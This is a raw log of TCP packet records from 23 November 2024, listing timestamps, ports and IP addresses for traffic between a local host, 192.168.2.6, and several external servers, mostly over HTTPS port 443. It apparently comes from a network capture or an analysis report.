Nov 23, 2024 21:59:24.530370951 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.530541897 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.542788029 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.542805910 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.542885065 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.542896032 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.542918921 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.542952061 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.542972088 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.544692039 CET	49753	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.544709921 CET	443	49753	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.562361956 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.562429905 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.562438011 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.562756062 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.572918892 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.572995901 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.573002100 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.573209047 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.581497908 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.581567049 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.581573009 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.581721067 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.588359118 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.588423014 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.588428974 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.588514090 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.598047972 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.598155022 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.598160982 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.598208904 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.605688095 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.605767012 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.605772972 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.605829000 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.615046024 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.615125895 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.615130901 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.615227938 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.622348070 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.622437954 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.622443914 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.622541904 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.630198956 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.630268097 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.630275965 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.631484032 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.638185024 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.638251066 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.638257980 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.638418913 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.645771027 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.645839930 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.645847082 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.646538973 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.655081034 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.655164003 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.655169964 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.655242920 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.662718058 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.662781000 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.662786961 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.662849903 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.670187950 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.670245886 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.670252085 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.670322895 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.761996031 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.762104988 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.762115002 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.762170076 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.767975092 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.768071890 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.768079042 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.768137932 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.775804996 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.775867939 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.775872946 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.775916100 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.781596899 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.781687021 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.781692982 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.781919956 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.786227942 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.786318064 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.786323071 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.786444902 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.792917967 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.792993069 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.792998075 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.793236017 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.798057079 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.798126936 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.798131943 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.798408985 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.804433107 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.804522038 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.804527998 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.804774046 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.809246063 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.809322119 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.809326887 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.809807062 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.814811945 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.814881086 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.814886093 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.814960003 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.819722891 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.819822073 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.819828033 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.820018053 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.824486971 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.824563980 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.824569941 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.824685097 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.830761909 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.830847979 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.830852985 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.830893040 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.835673094 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.835748911 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.835756063 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.835921049 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.840723991 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.840785027 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.840790033 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.840871096 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.971626997 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.971698999 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.971712112 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.971831083 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.975052118 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.975128889 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.975136042 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.975850105 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.978558064 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.978655100 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.978662014 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.978822947 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.983098984 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.983165026 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.983170986 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.983222961 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.986758947 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.986856937 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.986869097 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.987047911 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.990070105 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.990133047 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.990139008 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.990195990 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.994643927 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.994709015 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.994715929 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.994805098 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.997142076 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.997229099 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.997241974 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.997306108 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.997416019 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.997428894 CET	443	49754	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:24.997440100 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.997494936 CET	49754	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:24.998176098 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:24.998718977 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:24.998755932 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:24.999171972 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:24.999180079 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.061135054 CET	443	49757	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.061698914 CET	49757	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.061723948 CET	443	49757	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.062290907 CET	49757	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.062297106 CET	443	49757	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.172379971 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.172990084 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.173013926 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.173738003 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.173743963 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.270853043 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.271461010 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.271483898 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.272232056 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.272237062 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.378073931 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.378739119 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.378753901 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.379352093 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.379359961 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.447160006 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.447248936 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.447320938 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.447597980 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.447626114 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.447639942 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.447648048 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.450819969 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.450849056 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.450989962 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.451173067 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.451189995 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.502675056 CET	443	49757	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.502830982 CET	443	49757	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.502978086 CET	49757	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.503424883 CET	49757	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.503444910 CET	443	49757	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.503456116 CET	49757	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.503462076 CET	443	49757	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.515475988 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.515512943 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.515626907 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.515816927 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.515836000 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.622953892 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.623059988 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.623116970 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.623353004 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.623375893 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.623387098 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.623393059 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.626991034 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.627048016 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.627191067 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.627675056 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.627691984 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.720407009 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.720477104 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.720698118 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.721967936 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.721991062 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.722002029 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.722007990 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.725558043 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.725590944 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.725688934 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.725923061 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.725934029 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.830544949 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.830631018 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.830822945 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.833770990 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.833797932 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.833817959 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.833832026 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.837408066 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.837434053 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.837601900 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.837821007 CET	49773	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:25.837835073 CET	443	49773	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:25.863559008 CET	49775	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:25.863589048 CET	443	49775	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:25.863868952 CET	49775	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:25.865227938 CET	49775	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:25.865242004 CET	443	49775	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:25.877007961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:25.877376080 CET	49777	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:26.000601053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:26.001039028 CET	80	49777	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:26.001360893 CET	49777	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:26.007945061 CET	49777	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:26.238961935 CET	80	49777	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:26.537448883 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:26.537530899 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:26.539330959 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:26.539336920 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:26.539627075 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:26.593580008 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:26.624357939 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:26.667339087 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.338675976 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.339201927 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.339277983 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.339674950 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.339705944 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.346554995 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.346913099 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.346929073 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.347433090 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.347436905 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.347465038 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.347836018 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.347860098 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.348213911 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.348223925 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.351545095 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.351603031 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.351624012 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.351643085 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.351656914 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:27.351663113 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.351682901 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.351691961 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:27.351711988 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.351741076 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:27.351752043 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.351771116 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:27.372608900 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.372684002 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:27.372690916 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.373711109 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:27.373722076 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.373750925 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:27.374095917 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.374178886 CET	443	49765	4.245.163.56	192.168.2.6
Nov 23, 2024 21:59:27.374335051 CET	49765	443	192.168.2.6	4.245.163.56
Nov 23, 2024 21:59:27.488406897 CET	443	49775	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:27.488490105 CET	49775	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:27.509825945 CET	49775	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:27.509855986 CET	443	49775	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:27.510119915 CET	443	49775	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:27.516323090 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.522686958 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.522718906 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.523272038 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.523278952 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.558978081 CET	49775	443	192.168.2.6	23.218.208.109
Nov 23, 2024 21:59:27.603323936 CET	443	49775	23.218.208.109	192.168.2.6
Nov 23, 2024 21:59:27.774921894 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.774988890 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.775151968 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.775338888 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.775377035 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.775404930 CET	49770	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.775418997 CET	443	49770	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.779084921 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.779119968 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.779263973 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.779567003 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.779582977 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.791870117 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.792016029 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.792078018 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.792289019 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.792303085 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.792324066 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.792330027 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.794816971 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.794848919 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:27.794930935 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.795084000 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:27.795099974 CET	443	49780	13.107.246.63	192.168.2.6
